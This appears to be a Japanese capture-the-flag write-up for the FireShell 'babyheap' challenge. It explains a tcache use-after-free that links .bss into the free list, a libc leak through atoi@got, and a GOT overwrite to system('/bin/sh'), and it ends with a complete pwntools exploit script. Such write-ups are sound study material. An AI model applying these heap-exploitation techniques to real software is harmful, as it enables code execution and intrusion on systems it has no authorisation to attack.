方針
Use After Freeでfdを書き換えることで、.bss+0x20(グローバル変数のアドレス)をtcacheに繋ぐ。
そのときにすべてのグローバル変数を初期化する。
また、atoi@gotをsystemに向けて、system("/bin/sh")を呼び出す。
Use After Free
freeした領域のfdを.bss+0x20で書き換える。
(最初にfreeした領域を0と表記する)
tcache: 0 -> (.bss+0x20) -> NULL
create()
delete()
edit(p64(e.bss()+0x20)) # 0x6020a0
なぜ.bss+0x20のアドレスを繋ぐのか
各種フラグや、mallocして返ってくる領域が.bssに置かれています。
したがって、各種フラグの再初期化や、
返ってくる領域に任意のアドレスを書き込みやすいからです。
.bss sectionのアドレス
gef➤  xfiles
Start              End                Name                  File
0x00000000003ff270 0x00000000003ff450 .dynamic              /ctf/yu1hpa/019/FireShell/babyheap/babyheap
:                    :                    :
0x0000000000602080 0x00000000006020d0 .bss                  /ctf/yu1hpa/2019/FireShell/babyheap/babyheap
よって、bssセクションは0x602080から始まる。
各種フラグの初期化とlibc leakの旅
create -> edit -> show -> deleteをした時です。
最後にdeleteをしていることと、隠しコマンドfillは使ってないので、フラグが立っていません。
(デコンパイラを使って、各アドレスがどのフラグかを確認できます。)
0x6020a0:       0x0000000000000000      0x0000000000000001
0x6020b0:       0x0000000000000001      0x0000000000000001
0x6020c0:       0x0000000000000000      0x0000000000603260
0x6020a0: create
0x6020a8: edit
0x6020b0: show
0x6020b8: delete
0x6020c0: fill
0x6020c8: mallocしたときに返ってくる領域
あとはfillで.bss+0x20に書き込み、showすることで、
libc leakすることができます。
pld = b""
pld += p64(0) # create
pld += p64(0) # edit
pld += p64(0) # show
pld += p64(0) # delete
pld += p64(0) # fill
pld += p64(e.got["atoi"])
fill(pld)
show()
io.recvuntil("Content: ")
libc.address = u64(io.recvline()[:-1].ljust(8, b"\x00")) - libc.sym["atoi"]
GOT Overwrite
atoi()が呼び出されたときに、system()が呼び出されるようにします。
*atoi@got = system
atoi()はコマンドの選択で使われているので、
そこで/bin/shという文字列を渡すことでsystem("/bin/sh")が呼び出されます。
Solver
from pwn import *
file = "./babyheap"
e = ELF(file)
libc = ELF("./libc.so.6")
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
io = process(file)
def create():
    io.sendlineafter("> ", "1")
def edit(content: bytes):
    io.sendlineafter("> ", "2")
    io.sendlineafter("Content? ", content)
def show():
    io.sendlineafter("> ", "3")
def delete():
    io.sendlineafter("> ", "4")
def fill(content: bytes):
    io.sendlineafter("> ", "1337")
    io.sendlineafter("Fill ", content)
create()
delete()
edit(p64(e.bss()+0x20)) # 0x6020a0
create()
pld = b""
pld += p64(0) # create
pld += p64(0) # edit
pld += p64(0) # show
pld += p64(0) # delete
pld += p64(0) # fill
pld += p64(e.got["atoi"])
fill(pld)
show()
io.recvuntil("Content: ")
libc.address = u64(io.recvline()[:-1].ljust(8, b"\x00")) - libc.sym["atoi"]
print(f'libc base: 0x{libc.address:x}')
edit(p64(libc.sym["system"]))
io.sendlineafter("> ", "/bin/sh\x00")
io.interactive()